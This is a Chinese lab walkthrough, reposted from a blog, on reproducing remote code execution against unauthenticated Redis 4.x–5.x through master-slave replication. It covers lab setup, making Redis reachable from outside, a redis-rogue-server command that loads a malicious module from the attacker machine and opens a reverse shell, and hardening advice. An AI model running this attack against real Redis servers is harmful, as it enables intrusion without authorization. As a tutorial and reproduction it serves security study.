漏洞复现之Redis-rce

通过主从复制 GetShell 

Redis主从复制

  Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Redis模块

  在了解了主从同步之后,我们还需要对redis的模块有所了解。

在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

  由此可知,此方式的利用范围。

  Redis 4.x-Redis 5.x

  靶机:ubuntu 18.04.1   ip:192.168.112.132

  攻击机:kali   ip:192.168.112.133

一、环境搭建。
  1)wget http://download.redis.io/releases/redis-5.0.0.tar.gz
  tar -xvzf redis-5.0.0.tar.gz
  cd redis-5.0.0
  make


  2)不同机器上需更改redis.conf配置文件
  protected-mode yes 改为
  protected-mode no

  #关闭redis保护模式

  bind 127.0.0.1 改为

  bind 0.0.0.0  

  #注意:bind的意思不是绑定外部服务器的IP,而是绑定本机可以接受连接的网卡地址,默认是只能本地访问,改动后服务器上任意网卡地址可访问。 

   

  

  3)靶机启动服务

  cd src

  ./redis-server ../redis.conf
  #加载指定配置

二、exp准备

  https://github.com/n0b0dyCN/redis-rogue-server

  用法:python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so

三、exploit

  弹shell至本机的时候,需输入攻击机ip,输入监听端口。

  监听,成功。

 

   

修复建议:

    由于该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。因此可考虑把产生问题的家伙解决掉。

    redis加固:https://www.cnblogs.com/iamver/p/7985556.html

   

参考链接:

    https://www.anquanke.com/post/id/181734

    https://lorexxar.cn/2019/07/10/redis-5-x-rce/

漏洞原理:

    https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

原文地址:https://www.cnblogs.com/iamver/p/11171922.html